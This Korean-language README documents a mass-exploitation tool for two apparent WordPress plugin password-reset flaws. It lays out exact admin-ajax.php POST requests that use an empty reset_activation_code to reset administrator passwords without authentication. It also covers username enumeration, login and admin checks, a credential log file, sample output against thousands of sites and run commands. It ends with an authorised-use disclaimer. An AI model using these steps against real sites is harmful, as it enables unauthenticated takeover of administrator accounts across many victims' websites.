
취약한 비밀번호 재설정 검증('reset_user_id' 매개변수)을 통한 인증되지 않은 계정 탈취 | 취약한 비밀번호 재설정 검증('reset_activation_code' 매개변수)을 통한 인증되지 않은 권한 상승으로 계정 탈취
비인증 계정 탈취: 'reset_user_id' 파라미터를 통한 취약한 비밀번호 재설정 검증 우회 | 비인증 권한 상승: 'reset_activation_code'를 통한 취약한 비밀번호 재설정 검증 우회로 계정 탈취
제작자: Khaled Alenazi (Nxploited)
취약한 비밀번호 재설정 검증을 통한 비인증 권한 상승
| 필드 | 값 |
|---|---|
| CVSS | 9.8 Critical |
| 벡터 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 공개일 | 2026년 6월 23일 |
| 연구자 | Alyudin Nafiie |
pravel_change_password() 함수는 wp_ajax_nopriv 핸들러로 등록되어 있으며, 인증 없이 접근할 수 있습니다. 이 함수는 nonce 검증이나 권한 확인을 수행하지 않습니다. 유일한 보호 장치는 공격자가 제공한 reset_activation_code와 사용자의 forgot_email 메타 값 간의 느슨한 동등 비교(loose equality comparison)입니다. 비밀번호 재설정을 한 번도 시도하지 않은 사용자의 경우, get_user_meta()는 빈 문자열을 반환하며, 누락되거나 빈 코드에 대해 '' == '' 조건이 쉽게 충족됩니다. 따라서 인증되지 않은 공격자는 action=pravel_change_password, reset_user_id를 임의의 사용자 ID(관리자 계정 포함)로 설정하고, new_password_custom에 임의의 비밀번호를 포함한 조작된 POST 요청을 admin-ajax.php로 전송하여 완전한 계정 탈취가 가능합니다.
취약한 비밀번호 재설정 검증을 통한 비인증 계정 탈취
| 필드 | 값 |
|---|---|
| CVSS | 9.8 Critical |
| 벡터 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 공개일 | 2026년 6월 23일 |
| 연구자 | Alyudin Nafiie |
pravel_invoice_change_password() 함수 역시 nonce나 인증 확인 없이 nopriv AJAX 핸들러로 노출됩니다. 동일한 '' == '' 우회가 적용됩니다: 비밀번호 찾기 흐름을 사용한 적이 없는 관리자에 대해 빈 reset_activation_code를 제공하면 즉시 비밀번호 재설정이 가능합니다. 공격자는 reset_user_id로 대상을, new_password_custom으로 새 자격 증명을 제어합니다.
각 대상 사이트에 대해:
1. AJAX 프로브 (빠른 경로 — ID 1과 2)
POST /wp-admin/admin-ajax.php
action=pravel_change_password (CVE-2026-12417)
action=pravel_invoice_change_password (CVE-2026-12416)
reset_user_id=<id>
new_password_custom=<고정_비밀번호>
reset_activation_code= ← 비어 있음 — 검증 우회
성공 시 응답:
{"activation":true,"message":"Password has been changed successfully"}
2. 사용자 이름 확인 (지연 — 비밀번호 변경 확인 후에만 실행)
a. GET /wp-json/wp/v2/users/<id> ← 재설정 ID에 대한 정확한 사용자 이름
b. "admin" ← 항상 두 번째로 시도
c. GET /wp-json/wp/v2/users ← REST API 전체 목록
d. /?author=1..3 리디렉션 ← 작성자 아카이브 스캔
3. 로그인 확인
POST /wp-login.php
log=<사용자이름> pwd=<비밀번호>
wordpress_logged_in 쿠키 확인.
4. 관리자 확인
GET /wp-admin/users.php
list_users 권한 필요 — 관리자만 가능.
거부 메시지 또는 로그인 리디렉션 → 관리자 아님, 건너뜀.
5. 관리자 확인 시
scan_results/pravel_admin_success.txt에 저장:
SITE | LOGIN URL | user | pass | exploit | id
결과 줄을 터미널에 출력.
6. 확장 스윕 (ID 1–2가 모두 실패한 경우)
사용자 ID 3부터 20까지 1-5단계 반복.
터미널:
[1/5000] https://target.com NO
[2/5000] https://victim.com ADMIN=admin pass=Nxploited@123KSa exploit=pravel_change_password id=1 | https://victim.com/wp-login.php
[3/5000] https://another.com NO
결과 파일 (scan_results/pravel_admin_success.txt):
[2026-06-24 16:00:00] SITE=https://victim.com | LOGIN=https://victim.com/wp-login.php | user=admin | pass=Nxploited@123KSa | exploit=pravel_change_password | id=1
python Cl.py
대상 파일 (한 줄에 하나의 URL) [targets.txt]: sites.txt
스레드 수 (동시 사이트) [50]: 100
요구 사항:
pip install requests rich colorama urllib3
이 도구는 공인된 보안 연구 및 침투 테스트 목적으로만 제공됩니다.
소유하지 않거나 명시적인 서면 허가를 받지 않은 시스템에 대해 사용하는 것은 불법입니다.
저자는 이 도구의 오용이나 이로 인한 손해에 대해 어떠한 책임도 지지 않습니다.
모든 CVE 세부 정보는 공개 취약점 데이터베이스에서 가져온 것입니다.
제작자: Khaled Alenazi (Nxploited)